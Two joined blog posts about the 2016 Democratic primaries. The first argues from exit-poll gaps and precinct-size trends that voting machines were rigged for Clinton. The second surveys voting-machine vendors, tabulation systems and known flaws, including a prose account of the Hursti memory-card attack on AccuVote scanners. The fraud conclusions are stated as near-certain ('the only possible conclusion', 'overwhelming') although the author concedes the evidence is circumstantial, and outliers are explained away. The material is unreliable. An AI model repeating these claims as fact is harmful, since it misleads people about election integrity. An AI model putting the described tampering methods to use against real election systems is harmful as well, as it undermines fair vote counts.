<b>North Carolina</b>'s discrepancy was 1.7%. The top eight counties by population use a mix of iVotronic machines with a paper trail and Model 100/650 scanners. While all of these machines can be rigged, North Carolina has each county conduct random hand audits, making it less likely to occur.<br />
<br />
<b>Vermont</b>'s discrepancy was 1.1%. Each town conducts its elections with either the AccuVote OS or hand counts. No audits are required, so rigging the AccuVote optical scanners is possible. But Bernie Sanders' massive support in Vermont makes it nearly pointless, explaining the minimal discrepancy.<br />
<br />
<b>Maryland</b>'s discrepancy was -0.6%, finally in Sanders' favor, but just barely. The DS200 optical scanner, which has no known vulnerabilities, is used statewide. Since rigging the scanners is unlikely, Maryland's near-perfect match with the exit polls makes sense.<br />
<br />
<b>Wisconsin</b>'s discrepancy was -2.0%. The four most populous counties (Milwaukee, Dane, Waukesha, Brown) all use the relatively-secure DS200. Some slightly less populous counties use the AccuVote and Optech machines, which can be rigged, but Wisconsin mandates 5% hand audits. These factors make rigging unlikely to occur, which is consistent with a minimal -2.0% discrepancy.<br />
<br />
That leaves us with two discrepancies favoring Sanders: New Hampshire at -4.2%, and Oklahoma at -6.1%. Both states use hackable machines statewide that conceivably could be rigged. But since these are the only significant discrepancies favoring Sanders, and still within the margin of error, we can likely chalk them up to polling error.<br />
<br />
Looking state-by-state shows a very strong correlation between exit poll discrepancies and vulnerability to vote rigging. When hackable machines are in wide use, and audits aren't conducted (or can't be), the exit polls miss by a lot. When hackable machines are less prevalent, or audits are done, the exit polls match more closely. The easier it is to rig a state, the more the exit polls miss.<br />
<br />
This correlation confirms the theory that exit poll discrepancies indicate vote rigging. Still, there are two states that fall outside the correlation: West Virginia and New York.<br />
<br />
<b>West Virginia</b>'s discrepancy was 12.0%, close to South Carolina's 12.2%. The states do share some similar machines: the iVotronic and Model 100. But West Virginia also uses the more-secure DS200, and requires a 5% audit of its machines, while South Carolina does not. Based on this, West Virginia's discrepancy should be much smaller. Its large discrepancy might be caused by a third candidate pulling significant votes from Bernie Sanders. That explains the deviation from the pattern.<br />
<br />
<b>New York</b>'s discrepancy was 11.6%. It uses the DS200 scanners (not provably hackable) downstate and the <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#ImageCast">ImageCast scanners</a> (maybe hackable) upstate, with a 3% hand audit statewide. Uncounted ballots may account for part of the discrepancy, reducing it to 6.6%. But that's still a larger discrepancy than many states with more vulnerable machines and worse audit procedures. Maybe polling error is to blame, or New York's vote rigging was more sophisticated. It deserves a closer look.<br />
<br />
Aside from a couple outliers, exit poll discrepancies are well-correlated with how susceptible states are to vote rigging. Correlation doesn't prove a link, but it makes a strong case for the exit poll discrepancies to be showing vote rigging.</div>
<div>
<br /></div>
<h3>
Statistical irregularities</h3>
<div>
The conclusion that exit poll discrepancies show vote rigging is reinforced by irregularities in the precinct results. Numerous states saw Clinton's vote share significantly increase with the precinct size. Demographics fail to explain the trend, indicating that a vote rigging algorithm is inflating Clinton's share in larger precincts. And almost all of the states with substantial exit poll discrepancies show this irregular pattern.<br />
<br />
Election Justice USA analyzed the pattern in their 100-page report, <i><a href="https://drive.google.com/file/d/0B5O9I4XJdSISNzJyaWIxaWpZWnM/view">Democracy Lost</a></i>. It appeared in well over a dozen states, even when controlling for wealth, age, and race. They used the highest population counties in each state to confirm the significance of the pattern.<br />
<br />
One possible demographic explanation is a rural vs. urban divide. Smaller precincts tend to be more rural and white (favoring Sanders); larger precincts are more densely-populated and urban, with more people of color (favoring Clinton). But the high-population counties tend to be more diverse and have few rural precincts. Furthermore, it was often possible to isolate the urban precincts, and the pattern still appeared.<br />
<br />
Even within urban areas, however, wealth might be a factor. People of color, who tend to be less wealthy, often live in concentrated areas such as apartments. Wealthier, often white, people are more likely to live in less-dense areas such as suburbs. So it's still logical that larger precincts would have more people of color, to Clinton's benefit. But Clinton <a href="http://www.nytimes.com/2016/05/06/upshot/bernie-sanderss-legacy-the-left-may-no-longer-need-the-rich.html">also did better among wealthier Democrats</a>, who are more likely to be in the smaller precincts. Both small and large precincts have demographic factors favoring Clinton, so there shouldn't be a major change in her vote share between them.<br />
<br />
There might also be age differences between the precincts, which <a href="http://www.vox.com/2016/5/19/11649054/bernie-sanders-working-class-base">is the most significant predictor of candidate support</a>. EJUSA controlled for this by isolating early/absentee voting, which skews towards older voters. Sometimes, this control made the vote share increase vanish, like in Cuyahoga County OH. Other places, such as Fulton County GA, major CA counties (LA, San Diego, Orange), and Chicago, continued to show the trend. Often, it was stronger for early/absentee voting than on election day.<br />
<br />
Racial differences between precincts are still a potential explanation. This was controlled for by isolating counties and (where possible) precincts with high percentages of a particular race. The Bronx (majority Latino) showed the pattern, even looking only at the majority Latino precincts. Louisiana showed the pattern with precincts in which 95% of voters were white Democrats. Across the country, the pattern appears in counties regardless of racial makeup. While precinct size has some correlation with race, partially explaining Clinton's rising vote share, it's also an independent factor.<br />
<br />
Despite numerous demographic controls, Clinton's vote share increases steadily with precinct size. Without a demographic explanation, the only possible conclusion is that the increase is intentional. A vote rigging algorithm is raising Clinton's share as the precinct gets larger. This increases the impact on the results (targeting larger precincts has a greater effect), while disguising the rigging (it's easier to hide vote flipping in precincts with more total votes).<br />
<br />
For the most part, significant exit polling misses match up with the vote rigging pattern. The only states that don't are New Hampshire (4.2% miss for Sanders), Massachusetts (8.0% miss for Clinton), Texas (9.3% miss for Clinton), and Maryland (0.6% miss for Sanders). Massachusetts fits the pattern when only college towns are analyzed, implying that college towns in particular were targeted. The other three states deserve further analysis. Overall, though, the correlation is quite strong, reinforcing the idea that the exit poll discrepancies indicate vote rigging.<br />
<br />
Alabama, with a 14.0% exit polling miss, is a particularly good example. Its largest counties with the easily-hackable Model 100 scanners (Jefferson, Mobile, Montgomery) show the vote rigging pattern, while its largest counties with the more-secure DS200 scanners (Madison, Tuscaloosa) don't:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-G88L1JOrCd4/V7O49NRdGsI/AAAAAAAAGw0/dmYQ_SkSQ8wC84P99PoqL3ziHpu_5iv6ACLcB/s1600/alabama_ds200.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://3.bp.blogspot.com/-G88L1JOrCd4/V7O49NRdGsI/AAAAAAAAGw0/dmYQ_SkSQ8wC84P99PoqL3ziHpu_5iv6ACLcB/s640/alabama_ds200.png" width="608" /></a></div>
<br />
<div style="text-align: center;">
<b>Figure 2:</b> Alabama's highest-population DS200 counties. Aside from the last couple precincts, precinct size has little effect on Clinton's performance. Credit to EJUSA.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-zrJefUp2RS0/V7O5VWoMzRI/AAAAAAAAGw4/0YinFc_h3vsalHC7NlrezNtcY9hl7ZK-wCLcB/s1600/alabama_m100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://2.bp.blogspot.com/-zrJefUp2RS0/V7O5VWoMzRI/AAAAAAAAGw4/0YinFc_h3vsalHC7NlrezNtcY9hl7ZK-wCLcB/s640/alabama_m100.png" width="608" /></a></div>
<div style="text-align: center;">
<b>Figure 3:</b> Alabama's two highest-population Model 100 counties. Clinton's vote share steadily increases with precinct size here. Credit to EJUSA.</div>
<div style="text-align: left;">
<br /></div>
<br />
Tennessee, with an 8.3% exit polling miss, shows the pattern in Shelby County. Shelby County uses paperless hackable AccuVote touchscreens, and election fraud on its GEMS central tabulator has been caught in the past. The pattern remains when controlling for urbanness, by only looking at the diverse city of Memphis:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-2MWLcSJ1JPI/V7O6eajPQqI/AAAAAAAAGxI/XeZAkquyRl8qXXGl03hFcCdDlzVoUi9wgCLcB/s1600/shelby.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="https://4.bp.blogspot.com/-2MWLcSJ1JPI/V7O6eajPQqI/AAAAAAAAGxI/XeZAkquyRl8qXXGl03hFcCdDlzVoUi9wgCLcB/s640/shelby.png" width="608" /></a></div>
<div style="text-align: center;">
<b>Figure 4:</b> The vote rigging pattern appears in Shelby County TN as a whole (left), as well as Memphis (right), showing that urban vs. rural is not the deciding factor. Credit to EJUSA.</div>
<br />
<br />
Louisiana didn't have exit polls, but <a href="http://www.realclearpolitics.com/epolls/2016/president/la/louisiana_democratic_presidential_primary-5695.html">Clinton overperformed pre-election polls by 8.9%</a>. They use paperless <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html#AVC">AVC Edge and Advantage DREs</a>, both of which have similar vulnerabilities. EJUSA controlled for race by isolating precincts with specific percentages of white Democrats. In every racial grouping, Clinton's vote share continued to increase with precinct size.<br />
<br />
Other states with exit poll misses and hackable machines show similar signs of vote rigging. As do several late-May and June states with no exit polls (Kentucky, California, New Jersey, New Mexico).<br />
<br />
<h2>
Conclusion</h2>
Election fraud benefiting Clinton is the best explanation for what we've seen in the Democratic primaries. Nothing else can explain the exit poll discrepancies, altered registrations, and precinct vote irregularities.<br />
<br />
It's mathematically impossible for the Clinton shift to be caused by random sampling error. Simple probability calculations confirm that. And all three explanations for a polling bias (misestimating early/absentee voting, enthusiasm gap, youth overrepresentation) don't hold water. Barring another polling error explanation, the exit polls clearly reflect voter intent.<br />
<br />
Some of the exit polling misses are attributable to large numbers of uncounted provisional ballots. This is not necessarily fraudulent, but in the case of the Democratic primaries, it was. Most of the provisional ballots were cast due to registration issues: voters who had their party switched or were purged. Nearly all of the voters affected were Bernie Sanders supporters, indicating targeted voter registration tampering.<br />
<br />
Most exit polling misses, though, cannot be explained by uncounted ballots either. By deduction, the only possible explanation is vote rigging. Far from being an implausible conspiracy, vote rigging can happen with minimal human involvement, and has in the past. It was also confirmed by audit observers in Chicago, raising the likelihood that other jurisdictions had incorrect results too.<br />
<br />
The conclusion that exit poll discrepancies show vote rigging is further confirmed with a state-by-state analysis. States that are more vulnerable to vote rigging - more hackable machines, and less effective audit procedures - have higher exit poll discrepancies. And in almost every state with major exit poll discrepancies, Clinton's vote share increases with precinct size independently of demographics, indicating that precinct results were altered to increase her performance.<br />
<br />
Might there be an explanation for all of this that doesn't involve election fraud? Perhaps, but at this point, the burden of proof is on the skeptics to show that. The evidence for election fraud in the Democratic primaries is now overwhelming.<br />
<br />
<h2>
What next?</h2>
<div>
At this point, Clinton is the Democratic nominee. Even if the election fraud was enough to reverse the winner (as it very well might have been), her nomination is still a fact. But that doesn't make continuing to focus on it a waste of time. What's most important is knowing the truth, regardless of how long it is after 2016. Every instance of fraud we document now gives us more cause to reform the system later.</div>
<div>
<br /></div>
<div>
In terms of researching and documenting election fraud, there's plenty more to be done. Of all the states that were tampered with, California's story is the most complex and still ongoing. Chronicling everything that took place there is important. Another essential task is investigating exactly how the registration tampering took place. That question may never be answered, but there are still some clues to follow.</div>
<div>
<br /></div>
<div>
Of course, research and writing can only do so much. Various lawsuits related to the primaries are in progress. <a href="https://www.youtube.com/watch?v=LtF7HUgiO_k">Cliff Arnebeck has been preparing a RICO lawsuit</a> to get recounts across the country. <a href="https://www.youtube.com/watch?v=ODw4Gyr_W4s">Bob Fitrakis has filed suit</a> to get raw, precinct-level exit polls from Edison. <a href="http://www.progressillinois.com/quick-hits/content/2016/07/25/chicago-election-board-sued-over-alleged-discrepancies-improprieties">Chicago's board of elections was recently sued</a> to redo the voting machine audit properly. <a href="http://www.copswiki.org/w119/pub/Common/M1670/2016-08-02_Press_Release_--_Court_Ruling_on_Election_Lawsuit.pdf">A judge in San Diego just ruled</a> that election officials improperly excluding certain ballots from a random audit. It remains to be seen what'll happen with them.</div>
<div>
<br /></div>
<div>
Meanwhile, all of us who care about election integrity should also turn our attention to the future. We have a lot of evidence for fraud in the primaries, but it's all circumstantial: statistical analyses and deductions. This evidence remains unconvincing to many, especially election officials and judges. What we need to start doing is collecting hard, irrefutable evidence of election fraud: poll tape photos, central tabulator logs, videos of suspicious things, etc. That way, if election fraud happens in the future, we can fight back with solid proof.<br />
<br />
All the while, it's easy to forget that we, the people, shouldn't have to do any of this. For years, it's been the job of activists to show that elections <i>were</i> fraudulent or suspicious. That's completely backwards. In reality, the states running the elections should prove that they <i>weren't</i> unfair. Currently, our system of electronic voting makes that impossible. What we need is a new system.<br />
<br />
Many people believe it should be hand-counted paper ballots. Others think we should use electronic machines, but find a way to make them secure. Having that debate is fine. But first, we've got to realize that we need to have it. It's time for a mass movement calling for election reform.<br />
<br />
<div>
<h2>
Other posts on election fraud</h2>
</div>
<div>
<a href="http://marionumber1.blogspot.com/2016/05/could-early-voting-explain-exit-poll.html">Part 1: 2016 Exit Polls and Early Voting</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html">Part 2: When Exit Polls are Off</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html">Part 3: Vote Rigging in the 21st Century</a></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-80969787523671835352016-07-08T22:25:00.001-04:002016-09-18T01:57:05.445-04:00Vote Rigging in the 21st CenturyFew Americans knew about <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#2000_election">Al Gore's Florida vote total going backwards on election night</a>, but officials in Volusia County were perplexed. Lana Hires, a Volusia County elections worker, demanded an explanation from Global Election Systems, who had made their ballot tabulators. The finding, that someone had intentionally injected negative votes into the system, was worrying, but even more worrying was that the software accepted them at all.<br />
<br />
Ion Sancho, Supervisor of Elections in Leon County, <a href="https://youtu.be/yJlTKmjRc7I?t=1h6m13s">was concerned as well</a>. His county used the same AccuVote optical scanners as Volusia County, and he wanted to know whether those machines made it easy to rig an election. Sancho invited Bev Harris, founder of <a href="http://blackboxvoting.org/">Black Box Voting</a>, and her team to test that out. The <a href="https://youtu.be/M7W7rHxTsH0?t=1h10m3s">climactic ending</a> of the Emmy-nominated HBO documentary <i>Hacking Democracy </i>shows just how easily it can be done. Ion Sancho admits, "If I had not seen what was behind this [...] I would have certified this election as a true and accurate result of a vote."<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/yJlTKmjRc7I?start=4203" width="560"></iframe>
</div>
<br />
The AccuVote scanners are far from the only voting system with major security flaws. Across the country, our elections are run by machines that can easily have votes altered or switched. And they can do so invisibly, thanks to their inner workings being a complete mystery to observers. Our most essential public process of democratic elections is under the purview of black boxes, where votes go in, and a mysterious number comes back out. To question whether these black boxes are counting votes properly is wholly reasonable.<br />
<br />
<h2>
Trusting the vote count</h2>
<div>
Imagine that when we go to vote, there's a man standing in the voting booth. We each tell him our vote, and he writes it down on a piece of paper. Once the polls close, he adds up all the votes he wrote down and declares the winner. Would you trust this system as accurate? It seems ludicrous: the man could have misheard us, or he could be switching our votes if he doesn't like them. And if he miscounted, there'd be no way to prove it. What if instead, we wrote our vote on a piece of paper, showed it to him, and then kept the paper in a secure place? That doesn't solve the problem: he can still miscount the votes. The paper would only help us catch him cheating after the fact.<br />
<br />
Electronic voting machines aren't much different from that scenario. A touchscreen or ballot scanner isn't a single man, but what it does is dictated by many men and women. Machines will do whatever they're programmed to do, and <a href="https://www.schneier.com/blog/archives/2006/11/voting_technolo.html">a single person can program it to miscount the votes</a>. That one person can make a programming mistake, or put their political bias into it. While not the same as having one man count your vote, it's functionally equivalent when a single person can control everything the machine does. Yet we balk at the scenario above, while being fine with electronic voting.<br />
<br />
<a href="https://3.bp.blogspot.com/-sDWeLpHUhr4/V2G0nJs5yLI/AAAAAAAAGfg/lvNPTC6xJpQlBbnEEWcMLVqbx7S3tJ4KACLcB/s1600/boss_tweed_nast.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="https://3.bp.blogspot.com/-sDWeLpHUhr4/V2G0nJs5yLI/AAAAAAAAGfg/lvNPTC6xJpQlBbnEEWcMLVqbx7S3tJ4KACLcB/s320/boss_tweed_nast.jpg" width="291" /></a><br />
<br />
<br />
An accurate vote count thrives on transparency. If we can't see how votes are being counted, there's no reason to trust it. A single man counting the votes can apply any arbitrary standard he wants. Boss Tweed's political machine, Tammany Hall, took the votes to a secret location and <a href="https://books.google.com/books?id=n7ULhDXa-wUC&pg=PA134&lpg=PA134&dq=%22Then+these+elections+really+were+no+elections+at+all?+The+ballots+were+made+to+bring+about+any+result+that+you+determined+upon+beforehand?%22&source=bl&ots=CNLQUgHr4M&sig=9A0mDXG2Z7qWkfAjs7h0XEnAFnA&hl=en&sa=X&ved=0ahUKEwiqqdj07KzMAhXCdz4KHYs1DcwQ6AEIIzAB#v=onepage&q=%22Then%20these%20elections%20really%20were%20no%20elections%20at%20all%3F%20The%20ballots%20were%20made%20to%20bring%20about%20any%20result%20that%20you%20determined%20upon%20beforehand%3F%22&f=false">counted them in a way that got them whatever result they wanted</a>. Many of the famously corrupt political machines of that era were no different. A machine is a single entity applying the counting standard of whoever programmed it, and it carries out those processes unseen. Anybody who controls one can undetectably change an election.<br />
<br />
<br /></div>
<div>
<br />
<br /></div>
<h2>
Who controls the machines?</h2>
<div>
The lack of transparency makes it easy to hide election fraud, but who's actually in the position to rig a voting machine? A rather obvious answer is the machine vendors, those who make the hardware and software that goes on the machines. If a company developing voting machines wants to rig an election, they can modify them to do just that. The lack of transparency makes it unlikely they'll get caught, especially since the vendor usually keeps their system design a secret.<br />
<br />
One common concern about election companies is their <a href="http://archive.wired.com/politics/security/news/2004/03/62790?currentPage=all">Republican ties</a>. Election Systems & Software (ES&S), the largest elections vendor, was <a href="https://en.wikipedia.org/wiki/Election_Systems_%26_Software#History">founded by the Urosevich brothers</a>, with funding from right-wing millionaire Howard Ahmanson. <a href="https://en.wikipedia.org/wiki/Chuck_Hagel">Chuck Hagel</a> was chair of ES&S before running for Senate. Bob Urosevich <a href="https://en.wikipedia.org/wiki/Premier_Election_Solutions#History">later left</a> and become president of Global Election Systems, which was bought by Diebold in 2002. Diebold's CEO infamously promised to deliver Ohio to Bush at a fundraiser in 2003. In 2012, <a href="http://www.bradblog.com/?p=9628">there was concern</a> over Hart Intercivic being tied to Mitt Romney's old financial firm.<br />
<br />
The Republican ties, while not incriminating, do create a perceived conflict of interest. To make things worse, the companies have often applied untested patches right before elections. Bob Urosevich <a href="http://www.rawstory.com/news/2008/Documents_reveal_Georgia_was_warned_of_0730.html">was alleged to have personally delivered a software patch</a> to Georgia in 2002, right before several Republican upsets occurred. Diebold <a href="http://archive.wired.com/techbiz/media/news/2003/10/60927?currentPage=2">has installed patches in other states</a> "after the systems already were certified." In 2012, Ohio election officials <a href="http://www.cbsnews.com/news/ohio-faces-controversy-over-voting-machines/">installed untested patches from ES&S</a> before election day, software that could have changed votes.</div>
<div>
<br /></div>
<div>
More dangerous, however, is that these machines are vulnerable to outside groups tampering with them. Voting machines are meant to do only what the vendor programmed, but the security features to ensure that are often lacking or nonexistent. Security vulnerabilities are common, allowing anyone with access to the machine to replace its software or change results. This means that malicious voting machine vendors aren't the only group that can rig an election. Election officials, private contractors, poll workers, or even total outsiders can do so, given vulnerable machines to work with.</div>
<div>
<br /></div>
<h2>
The state of electronic voting</h2>
<div>
America's election system is really a patchwork of systems that differs state-by-state, and even at the county level. More than 90% of our voting process today <a href="http://votingmachines.procon.org/view.resource.php?resourceID=000274">involves electronic machines</a> (optical scanners and direct recording machines), so the differences between counties often pertain to which machines they use. Verified Voting helpfully keeps an <a href="https://www.verifiedvoting.org/verifier/">online database</a> of this information.<br />
<br />
Three voting machine vendors control most of the market: ES&S, Diebold, and Sequoia. Diebold and Sequoia are both owned by Dominion, a Canadian voting system company. Voting systems from all three vendors, as well as others, have had security vulnerabilities publicized over the years. Diebold received most of the attention in the 2000s, its products serving as the focus of <i>Hacking Democracy</i>. But other systems share similar vulnerabilities of their own, and are used all across the country.<br />
<br />
In 2015, the Brennan Center published a <a href="http://www.wired.com/wp-content/uploads/2015/09/Americas_Voting_Machines_At_Risk1.pdf">report</a> on America's electronic voting infrastructure. Kim Zetter, senior cybersecurity writer for Wired, covered the report in her article, <a href="https://www.wired.com/2015/09/dismal-state-americas-decade-old-voting-machines">"The Dismal State of America's Decade-Old Voting Machines"</a>. She details how almost every state uses voting machines that are more than 10 years old, leaving them open to malfunctions and security issues. Many run on an OS that Microsoft has stopped providing security patches for, or use antiquated hardware and software. Some machines don't even receive vendor support anymore.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-BiDInxPNnto/V2iSE-URaZI/AAAAAAAAGhw/D_n1PBVEKv8TThuarbs8GRSwSILzUodfQCLcB/s1600/Voting_Machine_Map_1-1024x990.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="554" src="https://4.bp.blogspot.com/-BiDInxPNnto/V2iSE-URaZI/AAAAAAAAGhw/D_n1PBVEKv8TThuarbs8GRSwSILzUodfQCLcB/s400/Voting_Machine_Map_1-1024x990.jpg" width="576" /></a></div>
<div style="text-align: center;">
<b>Figure 1:</b> The Brennan Center's graphic showing the age of voting systems across the country. Most states have a majority of counties with systems older than 10 years. Almost no states only use systems that are newer than 10 years old.<br />
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Zetter explains that the problems with our voting systems came from poor standards, and a rush to upgrade our machines in the wake of the 2000 election fiasco. She writes,<br />
<br />
<blockquote>
In 2002, Congress passed the Help America Vote Act, which allocated about $4 billion in federal funds to help states purchase new voting equipment. [...] Most states replaced their antiquated punchcard and lever machines with new electronic touchscreen and optical-scan voting machines by 2006. But many of the machines installed then, which are still in use today, were never properly vetted—the initial voting standards and testing processes turned out to be highly flawed—and ultimately introduced new problems in the form of insecure software code and design.</blockquote>
<br />
The <a href="https://en.wikipedia.org/wiki/Help_America_Vote_Act">Help America Vote Act (HAVA)</a> was designed to deal with the numerous issues that came to light during the 2000 election, including confusing ballots, malfunctioning machines, and missing votes. A significant part of it was grants to states to upgrade their voting systems, as Kim Zetter describes. HAVA created the <a href="http://www.eac.gov/">Election Assistance Commission (EAC)</a> to set standards for those systems, but 28 states bought systems before the standards came out, and the Brennan Center authors now find them inadequate for "the security standard that we consider necessary today."<br />
<br />
In other words, our election system across the country relies on black boxes with significant gaps in their reliability and security. The old machines have it the worst, but even the machines newer than 10 years old can still have major security flaws. With vulnerable machines so prevalent, there's a lot of low-hanging fruit for bad-intentioned people and groups who have access to them.<br />
<br /></div>
</div>
</div>
<h2>
How to rig an election</h2>
<div>
Since election systems can differ at the county level, county officials tend to handle the mechanics of running an election. Counties set up the individual voting machines, and pull together all the precinct results into a county report after polls close. The state government aggregates the reports from each county to produce its official election results. When you look at the election results process as a whole, it's a flow of information: precinct votes, to county reports, to state results. Any step of the process can be compromised to change voting results.<br />
<br />
A county's election reporting is based around an <a href="http://www.eac.gov/vvsg/definitions_of_words_with_special_meanings.aspx">election management system</a> (EMS). An EMS is software that runs on a standard PC, used to set up and tabulate a county's elections. Before an election, the EMS is used to prepare the ballot layout, which is loaded onto the voting machines. The voting machines receive votes (by scanning ballots or recording voter selections) throughout the day. After the polls close, their results are sent to the EMS computer for central tabulation. All the communication between the EMS and voting machine is via a network or removable media. Once all the voting machine results are uploaded, the EMS is used to make the county report.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="261" src="https://3.bp.blogspot.com/-E58UG9z6LQ8/V2yhmVxKc-I/AAAAAAAAGj0/b8C-hGORRb8UGiTcc742OiLgXQYXSKGKQCLcB/s400/person_holding_accuvote_computer_memory_card_of_e.jpg" width="400" /></div>
<div style="text-align: center;">
The memory cards used by Diebold voting machines to load ballot info and store results.</div>
<br />
Each county runs a single EMS computer, often called the central tabulator. Since the voting machines have to upload results to the EMS, the voting machine and EMS must be compatible with each other. As a result, voting machine vendors also write their own EMS for use with their machines. Diebold has <a href="http://www.essvote.com/products/7/39/election-management-software/gems/">GEMS</a>, ES&S has <a href="http://www.essvote.com/products/7/14/election-management-software/unity/">Unity</a>, and Dominion has <a href="http://www.dominionvoting.com/products">Democracy Suite EMS</a>. Just like the voting machines, these programs are black boxes with security flaws.<br />
<br />
Voting machines can be located within each precinct or at a central county location. Direct electronic recording (DRE) machines (such as touchscreens) and some ballot scanners are at the precinct, tabulating ballots as they're cast. Other ballot scanners are in a central location, for the purpose of counting large stacks of ballots at once. Whether the voting machines are precinct count or central count, however, they ultimately feed their data into the county central tabulator.<br />
<br />
This multi-stage process of election reporting leaves many places to rig the results: the individual voting machines, the county tabulators, or the state's final aggregation. And both the voting machines and central tabulators have major security concerns, allowing hidden malicious code and results tampering. When results flow over a network, they can also be changed midstream, like Stephen Spoonamore <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#2004_US_election">alleged happened in the 2004 Ohio election</a>. Even removable media that go into the central tabulator can be used to rig results, <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#2000_election">as they did in Florida's 2000 election</a>.<br />
<br />
The situation seems rather dismal. However, there are safeguards that election officials employ. Individual voting machines often print out a record of the votes they counted, called a <a href="http://blackboxvoting.org/poll-tapes/">poll tape</a>. These poll tapes, if preserved, serve as an official record of what the machine tabulated. Once the results go into the county tabulators, they can be checked against those poll tapes. So modifications to the results after being uploaded from the voting machine can be caught.<br />
<br />
Procedures of checking the tabulated results against the poll tapes, the post-election canvass, vary state-by-state. Some states have rigorous canvasses, while others fall short. Bev Harris, <a href="http://blackboxvoting.org/">Black Box Voting</a> founder, has a generally negative view of states' procedures:<br />
<br />
<blockquote>
Almost nowhere actually canvasses each precinct, though a few locations canvass SOME precincts. Of those, they tend to be chosen non-randomly and, even so, there are usually discrepancies which no effort is made to resolve. For example in Shelby County Tennessee, out of 230 precincts, they canvassed only the Election Day votes (not absentee or early) for only 15 precincts, 25% of which did not match. Then, as is typical, without making any effort to determine whether the non-matching precincts were part of a bigger problem, they added up only the numbers for those few precincts and concluded "it wouldn't have changed the result."</blockquote>
<br />
And as Harris notes, early and absentee votes aren't even canvassed. Jim March, another election integrity activist, <a href="https://www.reddit.com/r/IAmA/comments/4f5mkv/i_am_a_volunteer_election_monitor_and_activist/d26baa5">has pointed out</a> that Diebold's absentee ballot tabulation is only done in the central tabulator. <a href="https://www.verifiedvoting.org/resources/voting-equipment/premier-diebold/accuvote-os-cc/">Their central count ballot scanners</a> simply feed results directly into the EMS for tallying, so the results can be changed undetectably on the central tabulator. Bev Harris <a href="http://bevharris.com/fraction-magic/">describes this</a> as part of a larger trend in election administration, eliminating poll tapes in many cases.<br />
<br />
So when it comes to rigging an election, there's a trade-off: ease of rigging vs. risk of getting caught. Changing results on the county or state tabulators lets you alter a lot of results easily, but you can be caught by proper canvassing procedures. But since many states don't canvass properly and poll tapes aren't always produced, you can often get away with it anyway. The most assured way of rigging an election is changing what the individual voting machines say, which even a canvass won't catch. However, a lot more voting machines need to be rigged to actually change an election.<br />
<br />
<br />
Now that we know how election rigging can work, let's look at some of the known vulnerabilities that make it possible. If an election systems vendor wants to alter an election, none of these are needed, since they can just change the software. But for others with access to the machines who want to rig an election, these vulnerabilities are a way to control the innards of the black box.</div>
<div>
<br /></div>
<div>
<h2>
Optical scanner vulnerabilities</h2>
<div>
Electronic voting isn't just limited to voting directly on a machine. Many jurisdictions, especially those with vote-by-mail and absentee voting, have paper ballots that are counted by optical scanners. Though they have a paper record of the vote if the electronic tally ends up disputed, this doesn't change the fact that a hackable black box is producing the initial vote count.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="AVOS"></a>
<br />
<h3>
AccuVote OS/OSx</h3>
<div>
Diebold's AccuVote OS is the optical scanner shown being rigged in the <i>Hacking Democracy</i> clip above. Ion Sancho ran a mock election to test whether it could be hacked. Harri Hursti, a Finnish security expert working for Black Box Voting, put a modified memory card into the system beforehand. 2 people voted yes and 6 people voted no, but when the ballots were run through the machine, it led to a final tally of 7 yes and 1 no votes. The results were completely reversed.<br />
<br />
Hursti's attack was a form of electronic ballot stuffing, <a href="https://en.wikipedia.org/wiki/Hursti_Hack#Hursti_Memory_Card_Hacks">preloading the card</a> with 5 yes votes and -5 no votes. In addition to that, he had to modify some code on the memory card to avoid detection. At the beginning of the election, the AccuVote OS prints a zero poll tape to help poll workers check if the memory card has any stored votes. But the poll tape is printed by modifiable scripts on the memory card, so Hursti simply changed the script to always print 0 votes.<br />
<br />
A <a href="http://nob.cs.ucdavis.edu/~bishop///notes/2006-inter/2006-inter.pdf">Berkeley study</a> confirmed Harri Husti's attack was possible, and detailed other attacks as well. In addition to the zero tape, the final poll tapes at the end of the election (which a canvass checks against) can be falsified. And the scripts can also be used as a springboard to further take over the system. The scripts are run by an interpreter program, and the interpreter contains several software bugs in running them. These bugs allow the scripts to take control of the interpreter, giving them full access to the system. It can then change votes or install malicious firmware on the system.<br />
<br />
The AccuVote optical scanners <a href="https://www.verifiedvoting.org/resources/voting-equipment/premier-diebold/accuvote-os/">are used</a> in several states, especially those with a majority of voting machines older than 10 years. They're used almost universally in New Hampshire, Massachusetts, and Connecticut; and in many counties in Michigan, Ohio, Missouri, and Indiana. Notably, the use of these machines <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#2008_Dem_primary">was linked to Clinton's upset in the 2008 New Hampshire primary</a>.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="M100_650"></a>
<br />
<h3>
Model 100/650</h3>
<div>
